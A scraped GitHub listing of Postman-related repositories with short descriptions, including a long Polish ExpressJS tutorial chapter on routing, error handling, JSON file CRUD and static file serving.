5. The user gets real-time SMS notification when Admin changes the status of their record. ## Built With * HTML, CSS, Javascript * Python, Flask APIs * Postgres SQL ## Tools Used * Pivotal Tracker * github * Postman * Heroku ## Version v1.0 ## Authors * **Baker Sentamu** ## iReporter Demo UI Link ## Acknowledgments * Andela Learning Facilitators 0 stars 0 watchers 0 forks
data4development/postman-tests
check, collection, data, development, operation, operationa, stat, status, test, tests 		Postman collection of API calls to check the operationa; status of the DataWorkbench for IATI Data Quality Feedback 0 stars 0 watchers 0 forks
deasilworks/4klift-dev
container, development 		Docker container for 4klift development 0 stars 0 watchers 0 forks
harenlewis/api-hub
access, accessed, advance, advanced, application, development, dummy, mock, multiple, server, server., user, users 		A mock server application where in development or dummy APIs can be created and accessed by multiple users. Similar to Postman's advanced mock server. 0 stars 0 watchers 0 forks
kevinxu993/Fanlinc
access, agile, application, backend, cloud, data, database, development, flexible, frontend, handling, mean, method, process, relationship, simulate, software, storage, version, web app 		⚫ Developed a web application to foster meaningful relationships between fans, and grow the fervent passions for the fandoms they love. ⚫ Coded in Java with Spring Boot for backend, ReactJS and HTML for frontend. ⚫ Used MySQL database. Used AWS for cloud storage. Used Spring Data JPA to allow data access and Google API to implement map feature. ⚫ Wrote REST APIs in the backend to ensure flexible data handling. ⚫ Tested the APIs using Postman to ensure early failure detection and stable development. ⚫ Worked in a Scrum team using agile software development methodology. ⚫ Used Git for version control to simulate a software development process 0 stars 0 watchers 0 forks
LarryKarani/IreporterReactJs
access, application, auth, check, clone, command, coverage, development, download, endpoint, endpoints, environment, flask, following, framework, github, heroku, http, https, install, lang, language, list, local, location, login, machine, program, programming, pytest, python, report, reporter, require, signup, single, source, stat, status, terminal, test, tested, user, users, version, youtube 		# iReporterApi iReporter is an application whose aim is to reduce corruption in Africa and foster economic development. It allows users to create red flags and interventions. It implents the following list of APIs. ### Framework used The application is built using python: flask framework. >[Flask](http://flask.pocoo.org/) is a microframework for the Python programming language. ### End points Method | Endpoint | Usage | | ---- | ---- | --------------- | |POST| `/api/v2/auth/signup` | Register a user. | |POST| `api/v2/auth/login` | Login user.| |POST| `api/v2/auth/logout` | Logs out a user.| |POST| `api/v2/interventions` | Create a new incident. | |GET| `api/v2/interventions` | Get all the created incidents. | |GET| `api/v2/interventions/user` | Get all incident of the logged in user. | |GET| `api/v2/interventions/` | Get a single incident. | |PATCH| `api/v2/interventions//location` | Update a single incident location. | |PATCH| `api/v2/interventions//comment` | Update a single incident comment. | |PATCH| `api/v2/interventions//status` | Update a single incident status. | |DELETE| `api/v2/interventions/` | Delete a single incident. | ## Installation 🕵 - To run on local machine git clone this project : ``` $ git clone https://github.com/larryTheGeek/iReporterApi.git ``` Copy and paste the above command in your terminal, the project will be downloaded to your local machine. To Install python checkout: ``` https://www.python.org/ ``` - create a virtualenv and make it use python 3 using the following command. ``` $ virtualenv -p python3 env ``` - activate the virtual environment ``` $ source env/bin/activate ``` - Install Requirements ``` $ pip install -r requirements.txt ``` ### Testing - Run Test using pytest with the following command ``` $ py.test --cov=app test` ``` you will get the test coverage report on your terminal The app can also be tested via Postman - Run App ``` $ python run.py ``` The app should be accessiable via : http://127.0.0.1:5000/ open postman and navigate to the API endpoints described above ### HEROKU URL https://ireporter-version2.herokuapp.com/api/v2/ ### Owner - Larry Karani ### Motivation https://www.youtube.com/watch?v=wHRUDL7GKmI 0 stars 0 watchers 0 forks
liyingxiu/quest
client, design, development, material 		A very simple postman-like api client using material design. It is still in its early stages of development 0 stars 0 watchers 0 forks
majdbk/JAVA-EE-Women-Empowerment-Plateform
development, form, news, sessions, social, training, user, users 		Design / Backend development of the Women empowerment plateform, a social news plateform where users can manage and participate in training sessions and give their feedback. Tools: Java/JEE, JBOSS/Wildfly, PostgreSQL, Postman, Apache Maven, Hibernate ORM 0 stars 0 watchers 0 forks
nikoheikkila/newman-example
development, example, newman, test, workflow 		Simple test project to demo TDD workflow in API development with Postman. 0 stars 0 watchers 0 forks
ntnshrm87/FlaskDevTest
cloud, deploying, development, includes 		This repo includes Flask REST-API development using Postman and deploying the app to cloud. 0 stars 0 watchers 0 forks
patrick-castro/task-manager-api
application, auth, authentication, automat, automate, automated, development, email, explore, import, mail, manager, operation, operations, package, packages, party, server, server., service, services, task, user, web app 		A task manager API that explores important features of a web application, which are CRUD operations, user authentication, automated email transmission and many more with the help of various NPM packages and third party services. In development, Postman was used to make HTTP requests to the server. 0 stars 0 watchers 0 forks
proff321/comm-with-postman
communicating, development, presentation, tool 		A presentation about using Postman as a tool for communicating with a development team 0 stars 0 watchers 0 forks
proff321/communicating-with-postman
communicating, development, presentation, tool 		A presentation about using Postman as a tool for communicating with a development team 0 stars 0 watchers 0 forks
ryderharsh/First_Django
development, http 		First Django development work done by with the help of postman extention for POST Command in http. 0 stars 0 watchers 0 forks
testProjekten/medium-Tdd-Js-Swggr-Dckr
agile, development, docker, drive, driven, github, http, https, jenkins, newman, swagger, test 		Implementing this post Project https://medium.com/nycdev/agile-and-test-driven-development-tdd-with-swagger-docker-github-postman-newman-and-jenkins-347bd11d5069 0 stars 0 watchers 0 forks
TuBanquero/utils
developer, developers, development, document, documentation, util, utils 		Utilities that can be used by other developers to improve development time (git, postman, documentation, etc) 0 stars 0 watchers 0 forks
whuizenga/teaching-postman
development, lesson, teaching 		Teaching a lesson on using Postman for API development. 0 stars 0 watchers 0 forks
zakikasem/Roomy-App
default, development, knowledge, offers, process, service, util 		An iOS Mobile App that offers room renting service , I utilized the knowledge I gained throughout being iOS Developer Trainee at SwiftyCamp in this project by dealing with: Autolayout constraints. Tableviews. Networking using Alamofire, APIs and JSON Parsing. Userdefaults. MVP Architectural Pattern. Worked with Git , Postman and Sketch in development process 0 stars 0 watchers 0 forks
zyzz19951230/RequestSimulator
design, designed, development, program, python, server, simulate, simulates, test, tests 		A python program that simulates request to a server and handle its response just like Postman, it‘s designed to run tests for web developments. 0 stars 0 watchers 0 forks

package (31 listings) (Back to Top)

postmanlabs/postman-chrome-interceptor
chrome, extension, header, package, rest, restrict, send 		Helper extension for the Postman packaged app. Also helps send restricted headers. 178 stars 178 watchers 59 forks
stoplightio/api-spec-converter
convert, converte, converter, light, package, spec, specification, specifications, stoplight 		This package helps to convert between different API specifications (Postman, Swagger, RAML, StopLight). 106 stars 106 watchers 73 forks
AlbertLabarento/postman-collection-generator
bare, collection, function, functional, generator, integrate, integrated, package, test, tests 		Postman collection generator for your api's. Best used for your functional tests integrated with this package. 4 stars 4 watchers 3 forks
kendaleiv/chocolatey-postman
chocolatey, install, package 		This is a Chocolatey package to install Postman for Windows. 0 stars 0 watchers 9 forks
matt-ball/postman-external-require
external, inside, node, package, packages, require 		Import node packages inside Postman. 1 stars 1 watchers 1 forks
daggerok/gradle-postman-example
collection, example, function, functional, gradle, html, newman, package, postman collection, report, reports, single, test, tests 		This repository contains example how to execute postman collection tests using gradle (newman npm package). Add functionality to collect all html reports into single one 1 stars 1 watchers 0 forks
jedlee2004/postman-to-load
collection, collections, convert, options, package, postman collection, postman collections, test, tests 		Tool to convert postman collections into load tests options and run them with the npm loadtest package 1 stars 1 watchers 0 forks
cpvariyani/identityserver4-in-net-core-to-secure-public-microservice
client, demonstrate, entity, example, grant, integrate, integrated, microservice, microservices, package, packages, public, sample, secure, server, service, services, test, tested, type, video 		This is a practical example to demonstrate how to secure public microservices in .Net core using Identity server 4. In this video, we have created IdentityServer4, created sample public microservice, integrated that microservice with identity server and last this securing microservice using identity server is tested using postman. A practical example of How to create Identity server in .net core for grant type to client credentials. nuget packages for identity server are 2 IdentityServer4 and IdentityServer4.EntityFramework. and for microservice 1 nuget packages needs to be added Microsoft.AspNetCore.Authentication.JwtBearer 1 stars 1 watchers 0 forks
davidenoma/Restful-Explore-California-App
boot, data, form, format, information, location, package, packages, rating, rest, restful, service, spring, spring boot, tours 		A restful spring boot micro service based on spring data JPA and spring rest. It allows requests to the web service that returns information about tours, tour packages and tour ratings about locations in california. 1 stars 1 watchers 0 forks
HamedNN76/postman-fetch
collection, fetch, package, postman collection 		A package for fetch from your postman collection easily with name of your request 0 stars 0 watchers 1 forks
tiagohillebrandt/postman-ubuntu-ppa
package, packages, ubuntu 		Source to build Postman PPA packages. 0 stars 0 watchers 1 forks
udartsev/LaravelPostmanExport
collection, file, json, package, route, routes 		Laravel 5.8+ package to create Postman_collection.json file with Laravel routes 0 stars 0 watchers 1 forks
Greg1992/mongotut
communicate, data, database, modern, mongo, package, packages, security, test, testing 		Server set up to communicate with a MongoDB database, using modern security measures to encrypt data. Used POSTMAN and Node testing packages (Mocha and Chai) 0 stars 0 watchers 0 forks
brunocouty/laravel-api-test
application, laravel, package, route, routes, test 		Similar to "postman" (of Google Chrome), this package help you to test your API routes directly in your application. 0 stars 0 watchers 0 forks
erkusirem/postman-package
description, package, script 		No description available. 0 stars 0 watchers 0 forks
fearless23/Linux-Install-Instructions
docker, install, package, packages, redis, service, services, struct, ubuntu 		How to install various packages, services like docker, redis, postman on linux(ubuntu, kubuntu) 0 stars 0 watchers 0 forks
jerowang/postman-vm-package-injector
description, inject, package, script 		No description available. 0 stars 0 watchers 0 forks
Ayorinde-Codes/RequestLogger
agent, browser, data, database, execution, logs, package 		A Laravel package that logs requests ip, agent(browser or postman), payload request, payload response, Time of execution and url in the database within any request call 0 stars 0 watchers 0 forks
chrisgavin-archive/postman-packager
install, package, script 		A script to create a package for installing Postman. 0 stars 0 watchers 0 forks
CodingReaction/PostmanRedCards
action, import, package, packages, software, support, track 		A software made for additional support to Postman who needs to track important packages. 0 stars 0 watchers 0 forks
Maraujo999/Projeto-NODE
package 		Projeto Node Server, MySql, Instalação do package, Rota, Listar, Buscar pelo codigo, gravar, Postman 0 stars 0 watchers 0 forks
martinproxy0/Zadanie_17_5
action, address, application, auth, automat, console, data, dependencies, developer, dynamic, ekspresowe, endpoint, error, example, express, file, folder, form, format, framework, function, github, host, html, http, https, index, install, intern, internal, jest, json, kazan, lang, link, list, listen, local, meta, method, middleware, model, module, modules, node, note, package, parse, parser, party, popular, problem, program, proxy, query, rake, require, role, route, routing, send, server, server., sets, source, stat, status, submit, system, test, type, updated, user, wars 		17. ExpressJS - ekspresowe tworzenie aplikacji w NodeJS Wyzwania: Dowiesz się czym jest ExpressJS Nauczysz się korzystać z routingu Poznasz czym są szablony 17.1. Wprowadzenie do Expressa Express jest jednym z najpopularniejszych frameworków dla aplikacji pisanych w Node.js. Jest bardzo lekki i pozwala na lepszą organizację aplikacji w modelu MVC. Ok, zwolnijmy. Już na samym starcie pojawiły się dwa pojęcia, których do tej pory nie omówiliśmy zbyt dokładnie: framework i MVC. Na początku przypomnijmy sobie czym jest framework. Czym są frameworki? Framework to swego rodzaju szkielet, na którym opieramy budowę naszej aplikacji. Jest pewnym poziomem abstrakcji, na której konstruujemy naszą aplikację. Czym jest abstrakcja? Abstrakcja w inżynierii oprogramowania to technika, dzięki której jesteśmy w stanie zapanować nad złożonością systemu. Najzwyczajniej w świecie nie da się myśleć na wielu płaszczyznach na raz, dlatego programiści dzielą problemy na pewne poziomy i to na nich rozwiązują mniejsze problemy. Przykładowo - programista korzystający z Reacta nie martwi się o niższy poziom abstrakcji, z którego nieświadomie korzysta używając Reacta. Korzystając z komputera także nie zastanawiamy się za bardzo co dzieje się w środku procesora czy też w jaki sposób jest skonstruowany. Tym poziomem abstrakcji po prostu nie zawracamy sobie głowy. Używając JavaScriptu nie myślimy w jaki sposób parser analizuje składnię języka. Jeśli nie jest to nam potrzebne, to możemy zająć się tym, co jest dla nas naprawdę istotne - pisaniem aplikacji internetowych! Express to właśnie kolejny, wyższy poziom abstrakcji, dzięki któremu możemy skupić się na właściwym problemie. Zawiera zbiór generycznych (możliwych do zastosowania w wielu miejscach / uniwersalnych) funkcjonalności, które powtarzają się w obrębie każdej aplikacji. Cały zamysł frameworka opiera się na zasadzie - nie wymyślaj koła na nowo, bo można budować na podstawie dobrych, uniwersalnych rozwiązań. Po wykonaniu tego samego zadania wiele razy, człowiek instynktownie szuka sposobu na automatyzację problemu - szczególnie leniwy programista. :) Framework ma niestety jedną wadę, która bywa momentami również zaletą - narzuca programiście sposób w jaki należy rozwiązać problem. Takie podejście z jednej strony nieco nas ogranicza, bo nie pozwala nam 'grzebać' w rozwiązaniu, a z drugiej strony zmniejsza ilość miejsc, w których moglibyśmy popełnić jakiś błąd. Zaletą takiego podejścia jest też to, że programiści korzystający z frameworków często borykają się z podobnymi problemami, przez co łatwo jest znaleźć rozwiązania, bo ktoś już na pewno zetknął się z czymś, co sprawia nam kłopot :) Wracając do Expressa - jest on niewielkim frameworkiem, który daje programiście przyjemną podstawkę do tworzenia aplikacji, ale nie narzuca żadnych praktyk - może o tym świadczyć chociażby fakt, że wiele znanych frameworków opiera swoją budowę na Express. Można do nich zaliczyć przykładowo Loopbacka, Sailsa czy Krakena. Model-View-Controller Ok, wiemy już czym jest framework - pora na pojęcie MVC :) Jest to skrót od ang. Model View Controller (Model Widok Kontroler). Jest jednym z najczęściej przewijających się wzorców architektonicznych w internecie. Popularnością pomału wypiera go architektura Flux, o której coraz częściej słychać (szczególnie w środowisku Reacta), ale o tym wzorcu powiemy sobie jeszcze przy okazji omawiania Reduxa - wróćmy do MVC. Głównym założeniem przyjętym podczas projektowania MVC było oddzielenie warstwy prezentacji od logiki biznesowej aplikacji. To podejście umożliwia tworzenie narzędzi działających bez graficznego interfejsu (zastępuje go wtedy tzw. Command Line Interface, a.k.a. CLI) i jest dalej popularne w środowisku Unixowym. Tak więc: Model jest reprezentacją logiki aplikacji / problemu z jakim się zmagamy / domeną. Widok opisuje w jaki sposób coś wyświetlić. W React są to komponenty (szczególnie te prezentacyjne). Kontroler przyjmuje dane od użytkownika aplikacji i reaguje na jego działania w obrębie widoku. Aktualizuje widok i model aplikacji. O samej architekturze można napisać osobny moduł tym bardziej, że jak już wcześniej wspomnieliśmy bardzo często przewija się on w środowisku front-end developerów i jest częścią składową wielu frameworków. Sama implementacja MVC wymaga wiedzy na temat programowania obiektowego i wzorców projektowych. Zainteresowanych zapraszam do przeczytania tej książki na temat wzorców projektowych stosowanych w JavaScripcie. Express dostarcza wielu funkcjonalności do tworzenia aplikacji webowych. Jak już wspomniałem, ułatwia on przede wszystkim szybki rozwój aplikacji opartych na Node.js. Podstawowymi cechami tego frameworka są: serwowanie plików statycznych za pomocą jednej komendy konfigurowanie middleware, czyli pośrednika między żądaniem a odpowiedzią w momencie, kiedy użytkownik wykonuje jakieś akcje, np. wysyła formularz, middleware może wykonać pewne czynności zanim dane zostaną zapisane. Nie sprowadza się to oczywiście tylko do zapisu danych, ale szerzej na temat tego zagadnienia powiemy sobie w dalszym rozdziale definiowanie tablicy routingu, czyli ścieżek (adresów), które wyświetlają odpowiednie treści, przyjmują i zapisują dane, bądź odpytane o dane zwracają je. Bazują na protokole HTTP oraz URI (ang. Uniform Resource Identifier) pozwala na dynamiczne tworzenie stron HTML bazujących na argumentach przekazanych do istniejących szablonów Nie przejmuj się, jeśli powyższe opisy wydają się być nieco zagmatwane. Kolejne rozdziały rozjaśnią sprawę! Zanim jednak przejdziemy do omawiania poszczególnych funkcjonalności Expressa, przeprowadzimy proces instalacji. Jeśli masz wątpliwości do powyższego materiału, to - zanim zatwierdzisz - zapytaj na czacie :) Zapoznałe(a)m się! 17.2. Instalacja ExpressJS Framework Express instalujemy używając npm, analogicznie do innych pakietów, które dodawaliśmy już we wcześniejszych modułach. Dla przypomnienia, wystarczy, że zainicjujesz swój projekt - npm init, a następnie użyjesz komendy npm install express --save, która zapisze zainstalowany pakiet w katalogu node_modules/ i doda go do sekcji dependencies w pliku package.json. Razem z Expressem należy zainstalować jeszcze jeden ważny moduł - body-parser, który jest pakietem pozwalającym na obsługę różnych formatów danych w middleware takich jak JSON, text czy tzw. surowe dane (ang. raw data). Aby go zainstalować, wpisz npm install body-parser --save. Pierwsza aplikacja w ExpressJS Sprawdźmy teraz, czy wszystko działa tak jak powinno. Testowa aplikacja, jaką stworzymy przy użyciu Expressa, będzie przedstawiała podstawową zasadę działania tego frameworka. Aplikacja uruchomi serwer oraz będzie nasłuchiwać na porcie 3000 w oczekiwaniu na połączenie - dokładnie w taki sam sposób, jak w przypadku serwera HTTP napisanego w “czystym" Node.js. Nasłuchiwanie oznacza nic innego jak oczekiwanie na połączenie - po wystąpieniu żądania, serwer odpowie nam klasycznym “Hello world". Zanim zaczniemy tworzyć aplikację, musimy wytłumaczyć sobie pewne pojęcia. Opis pojęcia routingu Routing to sposób określania jak aplikacja będzie odpowiadać na żądania klienta na dane endpointy przy użyciu konkretnych metod HTTP. Przypomnijmy sobie w jaki sposób wyglądały metody HTTP: GET - najprostsza z metod HTTP - służy do pobierania zasobów z serwera. Pobranymi zasobami mogą być np. pliki HTML, CSS, JavaScript czy obiekty JSON / XML. POST - ta metoda jest używana do wysyłania danych do serwera. Stosuje się ją np. przy formularzach lub przy wstawianiu zdjęć i wysyłaniu ich jako załącznik. Zwykle dane te wysyłane są jako para klucz-wartość. PUT - działa podobnie jak POST, czyli również służy do wysyłania danych. Różnicą jest ograniczenie do wysłania tylko jednej porcji danych - np. jednego pola. Metoda ta najczęściej używana jest do aktualizacji istniejących danych DELETE - metoda, która służy do usuwania danych z serwera. Chodzi oczywiście o dane, które zostały wskazane przy wysyłaniu żądania. Kolejnym pojęciem jest URI (nazywane również PATH) - jest to właśnie wspomniany wcześniej endpoint, który zawiera polecenia do wykonania gdy zostanie wywołany przez żądanie. Czas start! Na początek stwórzmy plik server.js w katalogu z projektem. Po zainstalowaniu powyższych zależności, drzewo projektu powinno wyglądać w następujący sposób: Aby mieć możliwość skorzystania z zainstalowanych zależności, na początku należy zadeklarować zmienną, w której będziemy przechowywać funkcjonalności pakietu Expressa. var express = require('express'); Jak widzisz, każda paczka JS'a działa dokładnie w taki sam sposób. Koncepcja modułów będzie przewijać się aż do końca tego kursu. Następnym krokiem będzie stworzenie aplikacji Express: var app = express(); Naszą aplikację przypisaliśmy do zmiennej app. Teraz możemy sprawić, aby odpowiadała prostym Hello world w momencie, w którym odbierzemy wysłane zapytanie GET na adres strony domowej: app.get('/', function(req, res) { res.send('Hello world'); }); Powyższy kod rejestruje pierwszy routing (proces przetwarzania otrzymanego adresu żądania i na jego podstawie decydowanie, co powinno zostać uruchomione) na wysłane żądanie GET po wejściu na stronę główną ( http://localhost:3000/ ). Jako callback na wystąpienie tego zdarzenia wywoływana jest funkcja, która w przypadku udanej odpowiedzi wyśle wiadomość Hello world. To jednak jeszcze nie koniec. Zarejestrowaliśmy obsługę pierwszego routingu, ale należy zainicjować nasłuchiwanie serwera na to i inne zdarzenia. Dopiszmy więc: var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Po zapisaniu powyższego kodu, należy uruchomić go komendą node server.js (lub za pomocą Nodemona, którego poznaliśmy w pierwszym module) - teraz po ponownym wejściu na adres http://localhost:3000/ powinniśmy zobaczyć następujący widok: Jest to znak, że nasza aplikacja działa! Jeśli masz wątpliwości do powyższego materiału, to - zanim zatwierdzisz - zapytaj na czacie :) Zapoznałe(a)m się! 17.3. Route, czyli ścieżka wyznaczona dla użytkownika aplikacji Wykorzystanie endpointów Rozwińmy teraz trochę aplikację stworzoną w poprzednim podrozdziale. Aktualnie kod w pliku server.js wygląda następująco: var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Endpointy statyczne Na początek zmodyfikujemy lekko żądanie GET i do strony głównej zamiast Hello world! wpiszmy Hello GET! oraz dodamy linijkę drukującą otrzymane żądanie (po stronie serwera) jak poniżej: app.get('/', function (req, res) { console.log('Otrzymałem żądanie GET do strony głównej'); res.send('Hello GET!'); }); Warto w tym miejscu wspomnieć o narzędziu Postman - możesz pobrać je ze strony https://www.getpostman.com/. Używa się go do testowania endpointów. Postman jest prosty i intuicyjny w obsłudze - wystarczy, że podasz adres oraz metodę HTTP, jakiej chcesz użyć w odpowiednich polach i… już :) Pozostaje tylko wysłanie requesta i sprawdzenie czy response zgadza się z naszymi oczekiwaniami. Dodajmy też inne metody HTTP do naszej aplikacji. Zacznijmy od POST. Dla tej i kolejnej metody wykonamy podobne operacje. Chodzi tutaj o to, aby zaobserwować działanie zarejestrowanych endpointów. app.post('/', function (req, res) { console.log('Otrzymałem żądanie POST do strony głównej'); res.send('Hello POST!'); }); Do tego czasu oba nasze zapytania kierowaliśmy do strony domowej. Dodajmy teraz obsługę żądania z metodą DELETE oraz inną ścieżką: app.delete('/del_user', function (req, res) { console.log('Otrzymałem żądanie DELETE do strony /del_user'); res.send('Hello DELETE!'); }); DLA CHĘTNYCH: Przetestuj powyższe zapytanie w Postmanie! :) Dla praktyki, dodajmy jeszcze kilka innych endpointów, a następnie przejdźmy do testowania. app.get('/list_user', function (req, res) { console.log('Otrzymałem żądanie GET do strony /list_user'); res.send('Strona z listą użytkowników!'); }); app.get('/ab*cd', function(req, res) { console.log('Otrzymałem żądanie GET do strony /ab*cd'); res.send('Wzór pasuje'); }); Po dodaniu powyższych fragmentów kodu zapisz plik server.js, a następnie ponownie użyj komendy node server.js chyba, że używasz Nodemona :) Zerknijmy na endpoint /list_user Otrzymaliśmy to, czego oczekiwaliśmy. Sprawdźmy jeszcze inne. Jeśli jednak użyliśmy endpointa, którego nie zdefiniowaliśmy, otrzymamy odpowiedź jak na ostatnim obrazku. Endpointy dynamiczne Istnieje również inny typ endpointów, które nazywa się dynamicznymi. Używanie ich pozwala na przekazywanie parametrów i bazowanie na nich. Wróćmy na moment do kodu stworzonego na samym początku: var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Najpierw zmodyfikujemy trochę bazowy kod. Usuńmy linijki 8-10, które miały nam tylko pokazać podstawowe informacje na temat serwera. Zamiast tego napiszmy po prostu: app.listen(3000); Tworzenie dynamicznego routingu pozwala na przekazywanie parametrów, więc spróbujmy najpierw z przykładowym id. Zamiast odwołać się do strony domowej ('/'), odwołajmy się do zmiennego parametru id. Parametr zmienny od statycznego rozróżnia się poprzez dodanie dwukropka (:) przed nazwę. W naszym przykładzie endpoint będzie więc wyglądał następująco: /:id Zmieńmy jeszcze odpowiedź z Hello world na 'Identyfikator, który został dopisany to ' + req.params.id. Czym jest req.params.id? req jest obiektem reprezentującym zapytanie HTTP (ang. request). Posiada on różne parametry, jak na przykład body (czyli ciało zapytania), nagłówki HTTP oraz parametry (params), które mamy zamiar odczytać. Parametr, który wstawiliśmy jako część adresu w metodzie GET, przekazujemy jako id. W poniższym przypadku wyświetli się komunikat Identyfikator który został dopisany to 123, o ile zapytanie wysłano na adres http://localhost:3000/123. Popróbuj z różnymi innymi parametrami i sprawdź czy aplikacja działa tak, jak tego oczekujesz. Obsługa błędu 404 za pomocą ExpressJS Co jeśli serwer nie rozpozna żądania? W Expressie odpowiedź 404 nie jest wynikiem błędu, więc nie jest wyłapywany w trakcie działania aplikacji. Spowodowane jest to tym, że 404 zwykle oznacza brak możliwości wykonania danej czynności, a nie błąd występujący z powodu jakiejś 'wpadki' programisty. Innymi słowy, Express wykonał wszystkie funkcje middleware (które poznamy w kolejnym rozdziale) oraz route'y i dopiero wtedy dowiedział się, że żaden z nich nie odpowiedział na żądanie - taki przypadek możemy obsłużyć poprzez dodanie funkcji middleware na samym końcu (poniżej pozostałych funkcji), aby obsługiwała status 404. Powróćmy znów do poprzedniego szablonu z metodą GET na stronę domową ('/'), która zwraca nam Hello world!. Dopiszmy teraz metodę middleware, która obsłuży nam błąd 404. Na samym końcu, poniżej fragmentu z nasłuchiwaniem dodajmy obsługę odpowiedzi 404: app.use(function (req, res, next) { res.status(404).send('Wybacz, nie mogliśmy odnaleźć tego, czego żądasz!') }); Po ponownym uruchomieniu skryptu, w przeglądarce powinieneś zobaczyć Hello world!. Spróbuj teraz dopisać coś na koniec adresu (tak jak w poprzednim rozdziale dopisaliśmy id). Powinieneś otrzymać następujący komunikat: Parametr next, który przekazujemy do funkcji jest funkcją, która pozwala “iść dalej" do kolejnej funkcji middleware lub zakończenia żądania. Można w ten sposób stworzyć także obsługę pozostałych błędów. Najczęściej obsługiwane błędy to: 400 - bad request - występuje gdy serwer nie może przetworzyć zapytania 401 - unauthorized - występuje gdy wymagane jest uwierzytelnienie, a nie zostało dostarczone 403 - forbidden - żądanie jest poprawne, jednak serwer odmawia odpowiedzi, może to wystąpić w przypadku gdy np. użytkownik jest zalogowany ale nie ma uprawnień do wykonania żądania 404 - not found - zasoby nie zostały znalezione 500 - internal server error - występuje gdy występują nieznane warunki i nie ma żadnej konkretnej wiadomości Zadanie: Operacje CRUD na pliku JSON Stwórzmy teraz aplikację, która będzie otwierać zewnętrzne pliki .json oraz edytować je. Zanim zaczniemy, w folderze projektu stwórz plik server.js, a następnie zainicjalizuj projekt poprzez wpisanie npm init w konsoli. Przejdźmy do pobrania potrzebnych zależności - tym razem będzie nam potrzebny Express oraz body-parser. Jak się zapewne domyślasz, możesz zainstalować je za pomocą komendy npm install --save express body-parser. Po pobraniu paczek, możemy śmiało przejść do pisania kodu - na początek przypisz zależności do zmiennych w pliku server.js. Dodaj także linijkę var fs = require('fs') - fs będzie nam potrzebny do operacji na plikach. Nie musimy go instalować, bo jest on wbudowany w Node :) Skoro zależności mamy już załatwione, zadeklaruj zmienną app, która wywoła funkcję express() oraz zmienną stringifyFile (na razie bez zadeklarowanej wartości). Tuż pod deklaracją zmiennych dodaj także linijkę app.use(bodyParser.json()); - to pozwoli Ci wykorzystać middleware body-parser, które zainstalowaliśmy przed chwilą. body-parser jest nam potrzebny, aby korzystać z formatu application/json - póki co nie przejmuj się pojęciem middleware, zajmiemy się nim nieco dalej w tym kursie :) Stwórz teraz endpoint GET /getNote, gdzie po wywołaniu zostanie wczytany Twój zewnętrzny plik JSON oraz wyświetlona zostanie jego zawartość. Przykłądowy plik test.json: {"menu": { "id": "file", "value": "File", "popup": { "menuitem": [ {"value": "New", "onclick": "CreateNewDoc()"}, {"value": "Open", "onclick": "OpenDoc()"}, {"value": "Close", "onclick": "CloseDoc()"} ] } }} Metoda która pozwoli nam na odczytanie pliku to readFile, którą można wywołać z zadeklarowanego wcześniej fs. Jako parametry przyjmuje ona najpierw plik, następnie opcje (np. kodowanie) i funkcję, która wywoła się po załadowaniu. W naszym przypadku będzie to więc następujący kod: fs.readFile('./test.json', 'utf8', function(err, data) { if (err) throw err; stringifyFile = data res.send(data); }); Teraz pora na stworzenie endpointa, który po wywołaniu nadpisze nam podany plik. Stworzymy do tego dynamiczny endpoint, który dopisze do pliku string, który przekażemy jako parametr. Stwórz tym razem POST na /updateNote/:note. Po jego wywołaniu tekst, który znajduje się w miejscu /:note powinniśmy dopisać do wczytanego pliku poprzez dodanie req.params.note do zmiennej stringifyFile, która przechowuje aktualną zawartość pliku. Po przypisaniu powyższej zmiennej, należy ponownie odwołać się do modułu fs tym razem używając metody writeFile. Pomoże nam w tym następujący fragment kodu: fs.writeFile('./test.json', stringifyFile, function(err) { If (err) throw err; console.log('file updated'); }); Na końcu pliku dodaj nasłuchiwanie na porcie 3000. Zapisz plik i uruchom aplikację wpisując node server.js w konsoli. Otwórz Postmana, ustaw metodę zapytania na GET, a w pole adresu wpisz http://localhost:3000/getNote. Jako response powinieneś otrzymać Twój stworzony wcześniej plik JSON. Po zmianie z GET na POST oraz wpisaniu /updateNote/test zamiast /getNote oraz wysłaniu requesta, Twój plik JSON powinien zostać zaktualizowany o słowo test :) Po ukończeniu zadania, wrzuć swój kod na Githuba i przekaż link do repozytorium mentorowi :) Podgląd zadania https://github.com/martinproxy0/Zadanie_17_3.git Wyslij link 17.4. Serwowanie plików statycznych Express posiada wbudowaną możliwość serwowania plików statycznych - takimi plikami są na przykład obrazki, pliki CSS czy JS. Aby serwować te pliki statycznie, wystarczy użyć express.static. Pliki statyczne to pliki, które zostają dostarczone do klienta bez generowania, modyfikacji czy przetwarzania - jedyne, co trzeba z nimi zrobić, to przekazać nazwę katalogu, w którym są przetrzymywane, do express.static - to wystarczy aby zacząć je serwować. Spróbujmy przedstawić to sobie na przykładzie. Załóżmy, że przetrzymujesz swoje zdjęcia i pliki CSS w katalogu assets/. Aby zacząć je serwować, możesz więc użyć następującej linijki: app.use(express.static('assets')); Zmodyfikujmy więc całkowicie naszą aplikację. Najpierw stwórzmy w katalogu projektu nowy katalog o nazwie assets/. Wrzućmy do niego jakiekolwiek zdjęcie/obrazek. W pliku server.js wróćmy do poprzedniego stanu (zanim zaczęliśmy zajmować się routingiem): var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, 'localhost', function() { var host = server.address().address; var port = server.address().port; console.log('Przykładowa aplikacja nasłuchuje na http://' + host + ':' + port); }); W tym przykładzie sami definiujemy port i adres, ale w prawdziwej aplikacji moglibyśmy tych wartości nie znać. Częstym przykładem jest sytuacja w której adres i port są zdefiniowane w osobnym pliku konfiguracyjnym. Ten plik byłby inny na naszym komputerze niż na serwerze na którym będziemy publikować aplikację - ale nasz kod ma działać w obu lokalizacjach. Dlatego do wyświetlenia linka potrzebowalibyśmy pobrania tych danych za pomocą metody .address(). Pozostaje teraz jedynie w linii nr 3 dodać to, o czym powiedzieliśmy sobie chwilkę temu, czyli linijkę app.use(express.static('assets')); Dla przypomnienia, w nawiasach do express.static przekazujemy katalog, w którym znajdują się pliki, które chcemy serwować. Po zapisaniu pliku server.js, możemy uruchomić aplikację. Teraz, aby zobaczyć nasz obrazek, wystarczy że po http://localhost:3000/ podamy nazwę pliku z rozszerzeniem - u mnie wygląda to tak: Stwórz sobie teraz prosty 